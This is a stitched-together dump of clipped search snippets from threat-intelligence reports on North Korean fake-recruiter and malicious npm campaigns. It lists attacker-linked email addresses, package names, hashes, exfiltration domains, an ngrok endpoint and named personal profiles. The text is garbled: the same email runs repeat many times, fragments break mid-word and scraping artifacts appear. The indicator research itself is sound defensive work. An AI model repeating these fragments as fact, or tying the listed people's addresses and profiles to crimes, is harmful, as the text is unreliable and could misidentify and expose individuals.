jamesito0923@gmail.com jameskoji.dev@gmail.com jameslee960318@gmail.com jamesmith110111@gmail.com jamesmr1989@gmail.com jamesspiess.f@gmail.com janae.alayza@minofangle.org jarrenjackson15@gmail.com jarretap0123@gmail.com jason.hall0081@gmail.com jasonmiller19…","…2026 frankbloch@hr.trixauvex.org Email address Attacker-controlled email address May 2026 jamesrock@hr.trixauvexnet.ink Email address Attacker-controlled email address May 2026 jamierain@hr.contacttrixauvex.ink Email…","….com james.cobb812@gmail.com james.cryptodev.1128@gmail.com james.gavrilo.jg@gmail.com james.gold@skiff.com james.liu.vectorspace@gmail.com james.roger.0706@gmail.com james.service.1106@gmail.com james888@minofangle.org james@outdefine.com jamescrypto1128@gmail.com jamesdev0505@gmail.com jameshan1128@gmai…","…m james.cryptodev.1128@gmail.com james.gavrilo.jg@gmail.com james.gold@skiff.com james.liu.vectorspace@gmail.com james.roger.0706@gmail.com james.service.1106@gmail.com james888@minofangle.org james@outdefine.com jamescrypto1128@gmail.com jamesdev0505@gmail.com jameshan1128@gmail.com jamesito0923@gmail.com…","…eshan1128@gmail.com jamesito0923@gmail.com jameskoji.dev@gmail.com jameslee960318@gmail.com jamesmith110111@gmail.com jamesmr1989@gmail.com jamesspiess.f@gmail.com janae.alayza@minofangle.org jarrenjackson15@gmail.com jarretap0123@gmail.com jason.hall0081@gmail.com jasonmiller19920120@gmail.com java.su…","…e96ebeb43c6f0eda1f353dbeed62ab183db5922adcc6a0f95c4f7521b6535f3a 2026-09-01 eslint-rxjs (1.0.0) 2026-09-01 veydens <jameswilson66825@outlook.com> 2026-08-27 tailwindcss-form-styles (0.5.15) 2026-08-27 solo1100 <nejewah462@prodbits.com> www.w3.org…","…e96ebeb43c6f0eda1f353dbeed62ab183db5922adcc6a0f95c4f7521b6535f3a 2026-09-01 eslint-rxjs (1.0.0) 2026-09-01 veydens <jameswilson66825@outlook.com> About this collection FAMOUS CHOLLIMA has been facilitating the Contagious Interview campaign by deploying npm packages to…","…(0.5.11) 2026-09-02 davidchen1111 <davidchen1111@proton.me> 2026-09-02 eslint-rxjs (1.0.1) 2026-09-02 veydens <jameswilson66825@outlook.com> e493-95-216-46-122.ngrok-free.app https://e493-95-216-46-122.ngrok-free.app/ping…","…hexiao31@mail.ru - hexiao32@mail.ru - hexiao34@mail.ru - 4445313@qq.com - peterzhou0802@gmail.com - kawabatakyo0922@outlook.com - jamesybarra114@gmail.com - jo.hnceballos0716@gmail.com - hughnolan88@gmail.com - deliminallimited.ws@outlook.com - galaxy85126@gmail.com -…","….com hexiao33@mail.ru hexiao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jamesybarra114@gmail.com jo.hnceballos0716@gmail.com hughnolan88@gmail.com deliminallimited.ws@outlook.com galaxy85126@gmail.com leopawel65@gmail.com Github: https…","…2026 jamesrock@hr.trixauvexnet.ink Email address Attacker-controlled email address May 2026 jamierain@hr.contacttrixauvex.ink Email address Attacker-controlled email address May 2026 jamierain@hr.onoplanoai.ink Email…","…jamierain@hr.contacttrixauvex.ink Email address Attacker-controlled email address May 2026 jamierain@hr.onoplanoai.ink Email address Attacker-controlled email address May 2026 jamiereed@hr.mailpredicttogether.ink…","…2026 jamierain@hr.onoplanoai.ink Email address Attacker-controlled email address May 2026 jamiereed@hr.mailpredicttogether.ink Email address Attacker-controlled email address May 2026 jamiereed@hr.predicttocareer.space Email…","…jamiereed@hr.mailpredicttogether.ink Email address Attacker-controlled email address May 2026 jamiereed@hr.predicttocareer.space Email address Attacker-controlled email address May 2026 joshn@hr.recruitvex.us Email address…","…Finance, Harmony Wallet - Overlaps with: Jason Kown, 0xm00neth, Daiki Saito, Malkevych Bohdan bomalkevych@gmail.com, Jamshed Latipov jamshedlatipov@gmail.com - 0xchamel - 0xllaCh - blueChamel - chamel92 - daiki-iu - Gornutz - lmauro77 - mauroh.perk - mauroliu77 - zhChamel - zhChameleon -…","…sito0923@gmail.com jameskoji.dev@gmail.com jameslee960318@gmail.com jamesmith110111@gmail.com jamesmr1989@gmail.com jamesspiess.f@gmail.com janae.alayza@minofangle.org jarrenjackson15@gmail.com jarretap0123@gmail.com jason.hall0081@gmail.com jasonmiller19920120@gmail.com java.super.dev@gmail.com javajoker9…","…email insider N/A N/A Threat actor persona email 4 denish.faldu226@gmail.com email insider N/A N/A Threat actor persona email 4 janeica.dev@gmail.com email insider N/A N/A Threat actor persona email 4 mdmahdiuli@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor-controlled email 1 indulgenight@gmail.com email insider N/A N/A Threat actor-controlled email 1 janeisman@hotmail.com email insider N/A N/A Threat actor-controlled email 1 janeisman21@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Threat actor-controlled email 1 janeisman@hotmail.com email insider N/A N/A Threat actor-controlled email 1 janeisman21@gmail.com email insider N/A N/A Threat actor-controlled email 1 jingya0131@outlook.com email insider N/A N/A Threat actor-controlled email 1…","…Another DPRK-specific email that we observed was jangyi@pic.co[email protected] .kp.…","…Another DPRK-specific email that we observed was jangyi@pic.co.kp.…","…email insider N/A N/A Synthetic persona email 2 archelaosasani@outlook.com email insider N/A N/A Synthetic persona email 2 janlindberg80@outlook.com email insider N/A N/A Synthetic persona email 2 nevenborisov@outlook.com email insider N/A N/A Synthetic persona email 2…","…123123 duartejose020202@gmail.com 123123123 enthusiastdev121@gmail.com bluesky3 itsolution1014@gmail.com asdasdasd jarrenjackson15@gmail.com Rst jayevanslinkedin@gmail.com Jay231 kylecollins412@gmail.com p, kyle0412 leonohlin0123@gmail.com leodavinci…","…318@gmail.com jamesmith110111@gmail.com jamesmr1989@gmail.com jamesspiess.f@gmail.com janae.alayza@minofangle.org jarrenjackson15@gmail.com jarretap0123@gmail.com jason.hall0081@gmail.com jasonmiller19920120@gmail.com java.super.dev@gmail.com javajoker919@gmail.com javier1990.dev@gmail.com jaxonlee060…","…2026 gusb@ondofinance.tech Email address Attacker-controlled email address April 2026 jasen@empowerpharmacy.space Email address Attacker-controlled email address April 2026 joshc@ondofinance.tech Email address…","…Year in Review wilson.wen2145@outlook.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review jasonfissionawgyi08293@outlook.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review olelangaard9@gmail.com email malware N/A…","…110111@gmail.com jamesmr1989@gmail.com jamesspiess.f@gmail.com janae.alayza@minofangle.org jarrenjackson15@gmail.com jarretap0123@gmail.com jason.hall0081@gmail.com jasonmiller19920120@gmail.com java.super.dev@gmail.com javajoker919@gmail.com javier1990.dev@gmail.com jaxonlee0605@gmail.com jayevanslinke…","…in Review alfredogomez1984126@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review jasonharris198852@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review xavieryetikqpir36636@outlook.com email…","…jgod19960520@outlook.com filip.porter9017@outlook.com r29728098@gmail.com vitalii214.ilnytskyi@gmail.com jasonharry198852@gmail.com millosmike3@gmail.com Malicious npm Packages With HexEval Loader # nextjs-https-supertest (live at time of publication; removal…","…househunterpro12888@gmail.com investcereal91863@gmail.com investdreamz34518@gmail.com investgrowthplanner16529@gmail.com jasonhomesales01207@gmail.com johnmarston39482@gmail.com kevinspace09495@gmail.com keycityagent64977@gmail.com keycityrealtor98521@gmail.com…","…Jason Lee - Kira Network, Metadallion, Party Doge, Yam Finance - jasonlee9627 - 0xJason (Discord) - Punk1004.eth - jasonlee9627@gmail.com - github.com/pudgePenguin - 0xd71cfaa9051e88fa282ae78c165d1788fab0f2cb (punk1004.eth) - 0x099336af1b84fe02f1fe695820024f46cb27b1af -…","…989@gmail.com jamesspiess.f@gmail.com janae.alayza@minofangle.org jarrenjackson15@gmail.com jarretap0123@gmail.com jason.hall0081@gmail.com jasonmiller19920120@gmail.com java.super.dev@gmail.com javajoker919@gmail.com javier1990.dev@gmail.com jaxonlee0605@gmail.com jayevanslinkedin@gmail.com jayseon.traeger@…","…Accounts used to register domains: • jasper.lewitton.official@gmail.com • dodson43210@protonmail.com • napoleonbgqo0977@gmail.com • kevinsanaraujo@gmail.com • daniel.castagnolii@gmail.com •…","…fangle.org jarrenjackson15@gmail.com jarretap0123@gmail.com jason.hall0081@gmail.com jasonmiller19920120@gmail.com java.super.dev@gmail.com javajoker919@gmail.com javier1990.dev@gmail.com jaxonlee0605@gmail.com jayevanslinkedin@gmail.com jayseon.traeger@minofangle.org jazminelpsulin3507@gmail.com jc11…","…ail.com janae.alayza@minofangle.org jarrenjackson15@gmail.com jarretap0123@gmail.com jason.hall0081@gmail.com jasonmiller19920120@gmail.com java.super.dev@gmail.com javajoker919@gmail.com javier1990.dev@gmail.com jaxonlee0605@gmail.com jayevanslinkedin@gmail.com jayseon.traeger@minofangle.org jazminelps…","…n15@gmail.com jarretap0123@gmail.com jason.hall0081@gmail.com jasonmiller19920120@gmail.com java.super.dev@gmail.com javajoker919@gmail.com javier1990.dev@gmail.com jaxonlee0605@gmail.com jayevanslinkedin@gmail.com jayseon.traeger@minofangle.org jazminelpsulin3507@gmail.com jc11091005@gmail.com jclarkbd…","…(cryptopawsol@gmail.com) logger-beauty-1.0.2.tgz exfil: polblxpnl.space 2026-03-16 11:37:42 big-numerate (v5.0.3) ja.vierj.ea.n.070 (ja.vierj.ea.n.070@googlemail.com) big-numerate-5.0.3.tgz intermediate dependency (ID) for es-lint-entry 2026-03-16 11:24:50 lint-builders (v1.0.0) ja.vierj.ea.n.070…","…3@gmail.com jason.hall0081@gmail.com jasonmiller19920120@gmail.com java.super.dev@gmail.com javajoker919@gmail.com javier1990.dev@gmail.com jaxonlee0605@gmail.com jayevanslinkedin@gmail.com jayseon.traeger@minofangle.org jazminelpsulin3507@gmail.com jc11091005@gmail.com jclarkbdev@gmail.com jdnguyen12…","…holppkgaske6i75@outlook.com iandavies2313@gmail.com jackson.tf7.eth@gmail.com jahmiekstreetmanxlj126940778@hotmail.com jaya.lubiszn@hotmail.com jeffbennett862@gmail.com jessikamoreira015@gmail.com jh0333224@gmail.com jiaopin0813@outlook.com…","…https://web3.career/@marcin #### newstable / Jaycee Tran / Sasuke Uchiha - Jaycee Tran - Sasuke Uchiha - jayceetran.cool@gmail.com - special.galaxy26@gmail.com - potter0525james@gmail.com - zoelasa1111@gmail.com - it.galaxy.0315@gmail.com -…","…Iwanski Liguo Ma Pirachat Chaiwongrote newstable (Jaycee Tran/Sasuke Uchiha): --------------------------------------------- Emails: jayceetran.cool@gmail.com special.galaxy26@gmail.com potter0525james@gmail.com zoelasa1111@gmail.com it.galaxy.0315@gmail.com sasuke031026@gmail.com f99964995@gmail.…","…123123123 enthusiastdev121@gmail.com bluesky3 itsolution1014@gmail.com asdasdasd jarrenjackson15@gmail.com Rst jayevanslinkedin@gmail.com Jay231 kylecollins412@gmail.com p, kyle0412 leonohlin0123@gmail.com leodavinci liam.pilips.hub@gmail.com ourcountry…","…920120@gmail.com java.super.dev@gmail.com javajoker919@gmail.com javier1990.dev@gmail.com jaxonlee0605@gmail.com jayevanslinkedin@gmail.com jayseon.traeger@minofangle.org jazminelpsulin3507@gmail.com jc11091005@gmail.com jclarkbdev@gmail.com jdnguyen122@gmail.com jdnguyen928@gmail.com jeneva.rosslyn@my2ducks.…","…@gmail.com javajoker919@gmail.com javier1990.dev@gmail.com jaxonlee0605@gmail.com jayevanslinkedin@gmail.com jayseon.traeger@minofangle.org jazminelpsulin3507@gmail.com jc11091005@gmail.com jclarkbdev@gmail.com jdnguyen122@gmail.com jdnguyen928@gmail.com jeneva.rosslyn@my2ducks.com jenisfernando352@gmail.co…","…Jin Bang, Primoz Bernard - x.com/j7771122 - github.com/jbb1122 - IP: 223.165.6.13 - gombau1212@gmail.com - jbangbang1122@gmail.com - johnkalp1106@gmail.com - fairyland0926@gmail.com - talenteddolphin619@gmail.com -…","…Year in Review tommyrole0301@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review jbutton717@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review lilian.rodrigues.re@gmail.com email malware…","….com javier1990.dev@gmail.com jaxonlee0605@gmail.com jayevanslinkedin@gmail.com jayseon.traeger@minofangle.org jazminelpsulin3507@gmail.com jc11091005@gmail.com jclarkbdev@gmail.com jdnguyen122@gmail.com jdnguyen928@gmail.com jeneva.rosslyn@my2ducks.com jenisfernando352@gmail.com jenisraddon41@gmail…","…mail.com jaxonlee0605@gmail.com jayevanslinkedin@gmail.com jayseon.traeger@minofangle.org jazminelpsulin3507@gmail.com jc11091005@gmail.com jclarkbdev@gmail.com jdnguyen122@gmail.com jdnguyen928@gmail.com jeneva.rosslyn@my2ducks.com jenisfernando352@gmail.com jenisraddon41@gmail.com jennifer.beals.1…","…@gmail.com jayevanslinkedin@gmail.com jayseon.traeger@minofangle.org jazminelpsulin3507@gmail.com jc11091005@gmail.com jclarkbdev@gmail.com jdnguyen122@gmail.com jdnguyen928@gmail.com jeneva.rosslyn@my2ducks.com jenisfernando352@gmail.com jenisraddon41@gmail.com jennifer.beals.1003@gmail.com jeremiah…","…kedin@gmail.com jayseon.traeger@minofangle.org jazminelpsulin3507@gmail.com jc11091005@gmail.com jclarkbdev@gmail.com jdnguyen122@gmail.com jdnguyen928@gmail.com jeneva.rosslyn@my2ducks.com jenisfernando352@gmail.com jenisraddon41@gmail.com jennifer.beals.1003@gmail.com jeremiahme01@gmail.com jeremym…","…Notes: This repo was published November 26, 2025 GitHub Users: - jpoullet2000 - James Smith Email Addresses: - Jean-Baptiste Poullet <jeanbaptistepoullet@gmail.com> - James Smith <ellisfleming574@gmail.com> Domains: - vscode-bootstrapper.vercel.app ## Variant eighteen - November 26, 2025 - Unique…","…iandavies2313@gmail.com jackson.tf7.eth@gmail.com jahmiekstreetmanxlj126940778@hotmail.com jaya.lubiszn@hotmail.com jeffbennett862@gmail.com jessikamoreira015@gmail.com jh0333224@gmail.com jiaopin0813@outlook.com jiayingzhang.contact@gmail.com…","…2025-07-21 11:27:40 suhkuv.competition.tel suhkuv.competition.tel@gmail.com vite-mobcss-log 0.3.2 2025-08-04 05:33:08 jeffbennett862 jeffbennett862@gmail.com vite-plugin-uni-i18n 1.0.2 2025-08-25 13:11:03 jeffbennett862 jeffbennett862@gmail.com vite-jsconfig 0.3.2 2025-09-06 04:58:57…","…email insider N/A N/A Git mirror developer identity 2 chebiinixon91@gmail.com email insider N/A N/A Git mirror developer identity 2 jeffukus@gmail.com email insider N/A N/A Git mirror developer identity 2 mohamed_dhifli@hotmail.com email insider N/A N/A Git mirror developer identity 2…","…n.traeger@minofangle.org jazminelpsulin3507@gmail.com jc11091005@gmail.com jclarkbdev@gmail.com jdnguyen122@gmail.com jdnguyen928@gmail.com jeneva.rosslyn@my2ducks.com jenisfernando352@gmail.com jenisraddon41@gmail.com jennifer.beals.1003@gmail.com jeremiahme01@gmail.com jeremymichael800@gmail.com jerryric…","…minelpsulin3507@gmail.com jc11091005@gmail.com jclarkbdev@gmail.com jdnguyen122@gmail.com jdnguyen928@gmail.com jeneva.rosslyn@my2ducks.com jenisfernando352@gmail.com jenisraddon41@gmail.com jennifer.beals.1003@gmail.com jeremiahme01@gmail.com jeremymichael800@gmail.com jerryrice9632@gmail.com jgenkin555@…","…c11091005@gmail.com jclarkbdev@gmail.com jdnguyen122@gmail.com jdnguyen928@gmail.com jeneva.rosslyn@my2ducks.com jenisfernando352@gmail.com jenisraddon41@gmail.com jennifer.beals.1003@gmail.com jeremiahme01@gmail.com jeremymichael800@gmail.com jerryrice9632@gmail.com jgenkin555@gmail.com jh4169306@gmai…","…email insider N/A N/A Threat actor persona email 4 darkrut22@gmail.com email insider N/A N/A Threat actor persona email 4 jennalolly93@gmail.com email insider N/A N/A Threat actor persona email 4 vikram.imenso@gmail.com email insider N/A N/A Threat actor persona email 4…","…rkbdev@gmail.com jdnguyen122@gmail.com jdnguyen928@gmail.com jeneva.rosslyn@my2ducks.com jenisfernando352@gmail.com jenisraddon41@gmail.com jennifer.beals.1003@gmail.com jeremiahme01@gmail.com jeremymichael800@gmail.com jerryrice9632@gmail.com jgenkin555@gmail.com jh4169306@gmail.com jhonrene1001@gmail.com j…","…scarlet112603@outlook.com garnerbrandy1230@gmail.com alexandercruciata11@gmail.com danxeth436@gmail.com jennyjenkins783@gmail.com david36271@outlook.com rkupriyanof@gmail.com vallierhilaire@gmail.com willsuccess47@gmail.com ahmedali06091@gmail.com…","…LAOS -> VLAD BOYS #### Jenson Collins - 2024, 2025 - nfbigjc - nonfungiblejc.eth - JCollinsX - x.com/nonfungiblejc - jenson.collins@hotmail.com - github.com/JCollinsX - https://dune.com/nfbigjc = Ender + TokenFi + Floki - 0x44c2ab7db5299e008c586d52e9b6b193e4173471…","…v@gmail.com stevechendragon@gmail.com stevechendragon@outlook.com yamamotoziro.0113@gmail.com keinakano415@gmail.com lainhong1205@gmail.com jenson.collins@hotmail.com sunshineseo0614@gmail.com watanabeatari@gmail.com sunmoonlee.19900113@outlook.com johnpatch0502@outlook.com eliteknightgold@outlook.com sup…","…npm-doc-deploy-1.0.1.tgz exfil: polymarket-cli-testing.vercel.app 2026-03-16 07:54:44 big-numerator (v5.0.3) j.eral.dn.ac.ar11.223.3 (j.eral.dn.ac.ar11.223.3@gmail.com) big-numerator-5.0.3.tgz ID for es-lint-builders 2026-03-16 01:21:54 changelog-logger-utilities (v1.0.0) toskypi…","…mail.com jdnguyen928@gmail.com jeneva.rosslyn@my2ducks.com jenisfernando352@gmail.com jenisraddon41@gmail.com jennifer.beals.1003@gmail.com jeremiahme01@gmail.com jeremymichael800@gmail.com jerryrice9632@gmail.com jgenkin555@gmail.com jh4169306@gmail.com jhonrene1001@gmail.com jimmi.cdev@gmail.com jin…","…ail.com jeneva.rosslyn@my2ducks.com jenisfernando352@gmail.com jenisraddon41@gmail.com jennifer.beals.1003@gmail.com jeremiahme01@gmail.com jeremymichael800@gmail.com jerryrice9632@gmail.com jgenkin555@gmail.com jh4169306@gmail.com jhonrene1001@gmail.com jimmi.cdev@gmail.com jin.an@stableprice.com jinshan…","…52f0e0867043e5bdee7b75188beca44929ccfdc656d42c09f76cea538d9d54d9 2026-08-07 hardhat-cap (2.21.1) 2026-08-07 williams822 <jeremywilliams64@passeone.com> c9b83cdf9b6c915f02485cce0d993653a07cb78d12317904270f808e65529c30 2026-08-07 postcss-theme-provider (1.0.2) 2026-08-07…","…Review mirandacunningham1993@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review jerryjames1997@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review caryphillips.business727@gmail.com email…","…ucks.com jenisfernando352@gmail.com jenisraddon41@gmail.com jennifer.beals.1003@gmail.com jeremiahme01@gmail.com jeremymichael800@gmail.com jerryrice9632@gmail.com jgenkin555@gmail.com jh4169306@gmail.com jhonrene1001@gmail.com jimmi.cdev@gmail.com jin.an@stableprice.com jinshan96119@gmail.com jiram.ka…","…b32a47cdb5e747380766a568efbd9e5bf0439d5e1ec09f52ad0c696895fc658b 2026-08-17 rand-tx-sdk (1.0.6) 2026-08-17 jessicalangford <jessica.langford9991@outlook.com> eb21dfc2d3528432474ae0106f83b5528e685dbe25487d0a126bef3d27f7fe83 2026-08-15 tailwind-utility-kit (1.3.2) 2026-08-15…","…jackson.tf7.eth@gmail.com jahmiekstreetmanxlj126940778@hotmail.com jaya.lubiszn@hotmail.com jeffbennett862@gmail.com jessikamoreira015@gmail.com jh0333224@gmail.com jiaopin0813@outlook.com jiayingzhang.contact@gmail.com jinping0813@outlook.com jinping0824@outlook.com…","…, \"name\" : \"Crypto Enthusiast\" \"email\" : \"121175573+jewelas@users.noreply.github.com\" , \"name\" : \"Shooter\" \"email\" : \"jewelas.tm@gmail.com\" , \"name\" : \"jewelas\" \"email\" : \"126131584+monster223223@users.noreply.github.com\" , \"name\" : \"Kay Akira\" \"email\" :…","…2@gmail.com jenisraddon41@gmail.com jennifer.beals.1003@gmail.com jeremiahme01@gmail.com jeremymichael800@gmail.com jerryrice9632@gmail.com jgenkin555@gmail.com jh4169306@gmail.com jhonrene1001@gmail.com jimmi.cdev@gmail.com jin.an@stableprice.com jinshan96119@gmail.com jiram.kameryn@minofangle.org…","…, node-syncora , metrify-node , metrify-chain , node-metrica , chain-metrica , chai-extensions-extra amnotgonnalie jghff@smartretireway.com lockedin-chai-chain gemini-check thyfaultkathy4263@hotmail.com express-flowlimit , chai-extensions-extras ondoeth…","…dmytroputko@gmail.com drgru854@gmail.com ahmadbahai07@gmail.com stefanofrick2@gmail.com samuelhuggins3@gmail.com jgod19960520@outlook.com filip.porter9017@outlook.com r29728098@gmail.com vitalii214.ilnytskyi@gmail.com jasonharry198852@gmail.com…","…jahmiekstreetmanxlj126940778@hotmail.com jaya.lubiszn@hotmail.com jeffbennett862@gmail.com jessikamoreira015@gmail.com jh0333224@gmail.com jiaopin0813@outlook.com jiayingzhang.contact@gmail.com jinping0813@outlook.com jinping0824@outlook.com…","…on41@gmail.com jennifer.beals.1003@gmail.com jeremiahme01@gmail.com jeremymichael800@gmail.com jerryrice9632@gmail.com jgenkin555@gmail.com jh4169306@gmail.com jhonrene1001@gmail.com jimmi.cdev@gmail.com jin.an@stableprice.com jinshan96119@gmail.com jiram.kameryn@minofangle.org jksrgj2a@anon1106.an…","…developer accounts Year in Review greatbusinessman517@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review jhmnuykbvgftrss@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review kainmcguire@gmail.com email malware N/A N/A DPRK malware developer…","…fer.beals.1003@gmail.com jeremiahme01@gmail.com jeremymichael800@gmail.com jerryrice9632@gmail.com jgenkin555@gmail.com jh4169306@gmail.com jhonrene1001@gmail.com jimmi.cdev@gmail.com jin.an@stableprice.com jinshan96119@gmail.com jiram.kameryn@minofangle.org jksrgj2a@anon1106.anonaddy.com joelbird1128…","…벌어들인 외화는 추적을 회피하기 위해 다단계의 세탁 과정을 거쳐 북한으로 송금됩니다. 1단계: 1차 수취 차명 계좌 활용 일본 프리랜서 수익 등을 중국인 조력자(Jiang) 명의의 계좌로 수취 - Paypal (jiangyx2018@126.com[email protected] ) - Payoneer CN (중국 페이오니아) 2단계: 2차 세탁 가상화폐(Crypto) 전환 및 혼합 추적이 어려운 코인으로 세탁하거나 해외 거래소 경유 - Coinbase…","…벌어들인 외화는 추적을 회피하기 위해 다단계의 세탁 과정을 거쳐 북한으로 송금됩니다. 1단계: 1차 수취 차명 계좌 활용 일본 프리랜서 수익 등을 중국인 조력자(Jiang) 명의의 계좌로 수취 - Paypal (jiangyx2018@126.com) - Payoneer CN (중국 페이오니아) 2단계: 2차 세탁 가상화폐(Crypto) 전환 및 혼합 추적이 어려운 코인으로 세탁하거나 해외 거래소 경유 - Coinbase (미국), Zipmex (동남아)…","…jaya.lubiszn@hotmail.com jeffbennett862@gmail.com jessikamoreira015@gmail.com jh0333224@gmail.com jiaopin0813@outlook.com jiayingzhang.contact@gmail.com jinping0813@outlook.com jinping0824@outlook.com joko.setiawan9l@hotmail.com…","…story does not add up and it's clear that we require authorities to investigate this matter.\" - altpl - jikun - jliao - peezenut - jikun@mygameswap.com - jliao@mygameswap.com - peezenut@gmail.com - t.me/altpl - linkedin.com/in/jikun-liao-794b61162/ - https://vk.com/id578519076…","…m jeremiahme01@gmail.com jeremymichael800@gmail.com jerryrice9632@gmail.com jgenkin555@gmail.com jh4169306@gmail.com jhonrene1001@gmail.com jimmi.cdev@gmail.com jin.an@stableprice.com jinshan96119@gmail.com jiram.kameryn@minofangle.org jksrgj2a@anon1106.anonaddy.com joelbird1128@gmail.com john.son13…","…For example, marvel714jm@gmail.com and jimmr6587@gmail.com have been used to register the paxos-video-interview.com and skill-share.org domains, respectively. Finally, some email addresses were…","…com jeremymichael800@gmail.com jerryrice9632@gmail.com jgenkin555@gmail.com jh4169306@gmail.com jhonrene1001@gmail.com jimmi.cdev@gmail.com jin.an@stableprice.com jinshan96119@gmail.com jiram.kameryn@minofangle.org jksrgj2a@anon1106.anonaddy.com joelbird1128@gmail.com john.son1345676@gmail.com john021…","…email insider N/A N/A Threat actor-controlled email 1 janeisman21@gmail.com email insider N/A N/A Threat actor-controlled email 1 jingya0131@outlook.com email insider N/A N/A Threat actor-controlled email 1 jinkonachi@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Threat actor-controlled email 1 jingya0131@outlook.com email insider N/A N/A Threat actor-controlled email 1 jinkonachi@gmail.com email insider N/A N/A Threat actor-controlled email 1 joizelmorojo@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…Chan Wang SimZhon Media Incoractive Co.Ltd ShenZhen Hepan HuaWen 4-25-207 Shenzhen, Guangdong, China +86.13022438837 jinmong1986@hotmail.com[email protected] At this time no additional links to other domains have been discovered using the original whois data. Digging Into…","…jessikamoreira015@gmail.com jh0333224@gmail.com jiaopin0813@outlook.com jiayingzhang.contact@gmail.com jinping0813@outlook.com jinping0824@outlook.com joko.setiawan9l@hotmail.com jokohjj80@hotmail.com johnas12121@hotmail.com…","…jaksonas11 liamnevin Email Addresses # denniswinter727@outlook.com magalhaesbruno236@gmail.com jacksonblau11ai@gmail.com jinping0821@outlook.com rodolfguerr@gmail.com david262721@outlook.com chulovskaolena@outlook.com oleksandrkazadaiev522@gmail.com…","…ahmedali06091@gmail.com c258789456@gmail.com derek00144@gmail.com devin1571@outlook.com star712418@gmail.com jinping0822@outlook.com davisjosephinewnk807@outlook.com jaksonas11@outlook.com hades19910712@outlook.com Command and Control (C2) Endpoints #…","…jh0333224@gmail.com jiaopin0813@outlook.com jiayingzhang.contact@gmail.com jinping0813@outlook.com jinping0824@outlook.com joko.setiawan9l@hotmail.com jokohjj80@hotmail.com johnas12121@hotmail.com johnbenzon510727@outlook.com jiupaladin@gmail.com…","…ail.com jerryrice9632@gmail.com jgenkin555@gmail.com jh4169306@gmail.com jhonrene1001@gmail.com jimmi.cdev@gmail.com jin.an@stableprice.com jinshan96119@gmail.com jiram.kameryn@minofangle.org jksrgj2a@anon1106.anonaddy.com joelbird1128@gmail.com john.son1345676@gmail.com john0212.skill@gmail.com john0…","…email insider N/A N/A Threat actor persona email 4 codingwork.dev@gmail.com email insider N/A N/A Threat actor persona email 4 jinwangdev531@gmail.com email insider N/A N/A Threat actor persona email 4 gdavisiv.dev@gmail.com email insider N/A N/A Threat actor persona email 4…","…mail.com jgenkin555@gmail.com jh4169306@gmail.com jhonrene1001@gmail.com jimmi.cdev@gmail.com jin.an@stableprice.com jinshan96119@gmail.com jiram.kameryn@minofangle.org jksrgj2a@anon1106.anonaddy.com joelbird1128@gmail.com john.son1345676@gmail.com john0212.skill@gmail.com john0817tilley@gmail.com johnathon…","…0xapp123 ![](./X_2025-11-22_0xapp123.jpg) #### Jiro Matsumoto / codeninja819 - Tokyo, JP - codeninja819 - jiromatsumoto98@gmail.com - linkedin.com/in/codeninja819 - github.com/codeninja819 - t.me/codeninja819_eth (ID: 6418622184) •…","…joko.setiawan9l@hotmail.com jokohjj80@hotmail.com johnas12121@hotmail.com johnbenzon510727@outlook.com jiupaladin@gmail.com jonatasfrnancisco887@gmail.com juancastiblanco1998@gmail.com julianohoffmann33@gmail.com k7407751@gmail.com…","…사용처 및 근거 (Source) 비고 (Notes) 시스템 사용자 jks03 UserInformation.txt 내부 관리용 ID (정광성, 진경수 등 이니셜 추정) 이메일 (Main) jks0303@hotmail.com Google Chrome Logs, Edge Logs 메인 활동 계정 이메일 (Sub) crj1026@hotmail.com Microsoft Edge Session Logs 팀원 추정 (최/리/정씨 등 이니셜 조합)…","…jh4169306@gmail.com jhonrene1001@gmail.com jimmi.cdev@gmail.com jin.an@stableprice.com jinshan96119@gmail.com jiram.kameryn@minofangle.org jksrgj2a@anon1106.anonaddy.com joelbird1128@gmail.com john.son1345676@gmail.com john0212.skill@gmail.com john0817tilley@gmail.com johnathon.espen@my2ducks.com johnathyn.y…","…and it's clear that we require authorities to investigate this matter.\" - altpl - jikun - jliao - peezenut - jikun@mygameswap.com - jliao@mygameswap.com - peezenut@gmail.com - t.me/altpl - linkedin.com/in/jikun-liao-794b61162/ - https://vk.com/id578519076…","…utlook.com johnjohnjohn829612@hotmail.com johnwooaugtwe@hotmail.com andon211bala@yahoo.com blazhenov525@gmail.com annaparova989@outlook.com joanahillora843@outlook.com makdanger11220@outlook.com makdanger3434@outlook.com maksim1029lv@outlook.com maksimbrave1030@gmail.com maksimbrave1030@outlook.com romanco…","…elmakha224ar@outlook.com sebastian.93.e@hotmail.com nicolas.ju915@gmail.com sobaka1525@outlook.com Vanesapaula81@outlook.com joaopebasso12@outlook.fr Rodrigonahuelsanchez1998@outlook.com.ar nurtissera@outlook.com aitbaunty@outlook.com e56372626@gmail.com denis0316@outlook.com…","…01@gmail.com jimmi.cdev@gmail.com jin.an@stableprice.com jinshan96119@gmail.com jiram.kameryn@minofangle.org jksrgj2a@anon1106.anonaddy.com joelbird1128@gmail.com john.son1345676@gmail.com john0212.skill@gmail.com john0817tilley@gmail.com johnathon.espen@my2ducks.com johnathyn.yonis@minofangle.org joh…","…df4970a67c9caae5dd2e4603ea726f7624a4c17bb197a1039985a10ff9b56923 2026-09-19 chai-as-viem (1.1.3) 2026-09-19 johnrebman <john.rebman@laior.org> 6ae47651f95735e18c7370aa04d1577ffbd19c20eed57729c777cac6d4a83f4b 2026-09-18 tailwind-form-styles (0.5.1) 2026-09-18…","…ice.com jinshan96119@gmail.com jiram.kameryn@minofangle.org jksrgj2a@anon1106.anonaddy.com joelbird1128@gmail.com john.son1345676@gmail.com john0212.skill@gmail.com 